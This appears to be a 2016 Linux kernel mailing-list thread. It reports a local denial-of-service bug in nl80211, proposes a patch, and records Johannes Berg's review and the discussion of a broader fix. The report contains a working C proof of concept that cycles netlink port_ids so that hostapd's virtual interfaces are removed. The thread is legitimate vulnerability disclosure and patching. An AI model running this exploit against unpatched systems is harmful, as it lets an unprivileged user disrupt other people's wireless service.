[PATCH] Fix local DoS in cfg80211 subsystem

[PATCH] Fix local DoS in cfg80211 subsystem

[Dmitrijs Ivanovs]

When hostapd is configured with more than one BSS and daemonized,
subsequent call to any tool like "iw" which opens and then closes
netlink socket may suddenly remove virtual interfaces created by
hostapd (such as wlan0-1). In fact, any non-privileged user can create
netlink socket with the same port_id as used by hostapd (port_id is
equal to pid before daemonization). Although bind() will fail in that
case, nl80211 subsystem will receive notification and remove
interfaces. Here is simple exploit:

#include <sys/socket.h>
#include <linux/netlink.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <errno.h>

int main()
{
    unsigned int port_id;
    int sock_fd;
    int bind_rv;
    struct sockaddr_nl src_addr;

    if(!getuid())
    {
        if(setuid(1234))
        {
            perror("Cannot drop root privileges - UID");
            return -1;
        }
        if(setuid(1234))
        {
            perror("Cannot drop root privileges - GID");
            return -1;
        }
    }

    for(port_id = 0; port_id < 65536; port_id++)
    {
        sock_fd = socket(PF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
        if(sock_fd < 0)
        {
            return -1;
        }
        memset(&src_addr, 0, sizeof(src_addr));
        src_addr.nl_family = AF_NETLINK;
        src_addr.nl_pid = port_id;

        bind_rv = bind(sock_fd, (struct sockaddr*)&src_addr, sizeof(src_addr));
        if(bind_rv)
        {
            fprintf(stderr, "Bind failed for port_id %i: %s\n",
port_id, strerror(errno));
        }
        close(sock_fd);
    }
}

The patch below corrects this problem in kernel space. Also, it is
recommended to ensure that user-space applications are not using
user-supplied port_id for netlink sockets (which is default in
libnl-tiny for example).

Signed-off-by: Dmitry Ivanov <dima@ubnt.com>

---
 include/linux/netlink.h  | 1 +
 net/netlink/af_netlink.c | 1 +
 net/wireless/nl80211.c   | 4 +++-
 3 files changed, 5 insertions(+), 1 deletion(-)

diff --git a/include/linux/netlink.h b/include/linux/netlink.h
index da14ab6..4a13b3c 100644
--- a/include/linux/netlink.h
+++ b/include/linux/netlink.h
@@ -138,6 +138,7 @@ struct netlink_notify {
     struct net *net;
     u32 portid;
     int protocol;
+    bool bound;
 };

 struct nlmsghdr *
diff --git a/net/netlink/af_netlink.c b/net/netlink/af_netlink.c
index 215fc08..0640864 100644
--- a/net/netlink/af_netlink.c
+++ b/net/netlink/af_netlink.c
@@ -693,6 +693,7 @@ static int netlink_release(struct socket *sock)
                         .net = sock_net(sk),
                         .protocol = sk->sk_protocol,
                         .portid = nlk->portid,
+                        .bound = nlk->bound,
                       };
         atomic_notifier_call_chain(&netlink_chain,
                 NETLINK_URELEASE, &n);
diff --git a/net/wireless/nl80211.c b/net/wireless/nl80211.c
index 98c9242..3099200 100644
--- a/net/wireless/nl80211.c
+++ b/net/wireless/nl80211.c
@@ -13216,7 +13216,9 @@ static int nl80211_netlink_notify(struct
notifier_block * nb,
     struct wireless_dev *wdev;
     struct cfg80211_beacon_registration *reg, *tmp;

-    if (state != NETLINK_URELEASE)
+    if (state != NETLINK_URELEASE ||
+        notify->protocol != NETLINK_GENERIC ||
+        !notify->bound)
         return NOTIFY_DONE;

     rcu_read_lock();
-- 
2.1.4

NETLINK_URELEASE non-bound socket problem (was: [PATCH] Fix local DoS in cfg80211 subsystem)

[Johannes Berg]

Hi Dmitrijs,

Thanks for reporting this problem.

> The patch below corrects this problem in kernel space. 

I don't think that this is correct, there are four more users of
NETLINK_URELEASE (nfnetlink, NFC), and afaict all of them have the same
bug as nl80211.

Rather than fix all of them, I think we should simply not report
NETLINK_URELEASE for netlink sockets that weren't bound; if any user
comes up that requires them later we could add a new event instead.

I can't find what commit introduced this code, it goes back before git
history, so I don't have the commit log. Maybe it was done for
nfnetlink log/queue? Certainly both nl80211 and NFC are much newer.

> Also, it is
> recommended to ensure that user-space applications are not using
> user-supplied port_id for netlink sockets (which is default in
> libnl-tiny for example).

This I think we should remove from the commit log - it's misleading and
there's no point.

johannes

Re: NETLINK_URELEASE non-bound socket problem (was: [PATCH] Fix local DoS in cfg80211 subsystem)

[Dmitrijs Ivanovs]

Hi Johannes!

I will prepare patch which does not send NETLINK_URELEASE for unbound
sockets as you suggest. But I think protocol check in nl80211 is still
needed because port_id is unique per-protocol.

On Tue, Apr 5, 2016 at 12:56 PM, Johannes Berg
<johannes@sipsolutions.net> wrote:
> Hi Dmitrijs,
>
> Thanks for reporting this problem.
>
>> The patch below corrects this problem in kernel space.
>
> I don't think that this is correct, there are four more users of
> NETLINK_URELEASE (nfnetlink, NFC), and afaict all of them have the same
> bug as nl80211.
>
> Rather than fix all of them, I think we should simply not report
> NETLINK_URELEASE for netlink sockets that weren't bound; if any user
> comes up that requires them later we could add a new event instead.
>
> I can't find what commit introduced this code, it goes back before git
> history, so I don't have the commit log. Maybe it was done for
> nfnetlink log/queue? Certainly both nl80211 and NFC are much newer.
>
>> Also, it is
>> recommended to ensure that user-space applications are not using
>> user-supplied port_id for netlink sockets (which is default in
>> libnl-tiny for example).
>
> This I think we should remove from the commit log - it's misleading and
> there's no point.
>
> johannes
>

Re: NETLINK_URELEASE non-bound socket problem (was: [PATCH] Fix local DoS in cfg80211 subsystem)

[Johannes Berg]

On Wed, 2016-04-06 at 11:20 +0300, Dmitrijs Ivanovs wrote:
> Hi Johannes!
> 
> I will prepare patch which does not send NETLINK_URELEASE for unbound
> sockets as you suggest. But I think protocol check in nl80211 is
> still needed because port_id is unique per-protocol.
> 

Yes, good point. Can you please send that as a separate patch? That one
should have a

Fixes: 026331c4d9b5 ("cfg80211/mac80211: allow registering for and sending action frames")

tag. I'll apply this one right away, but the other one should probably
go through Dave's tree.

Thanks,
johannes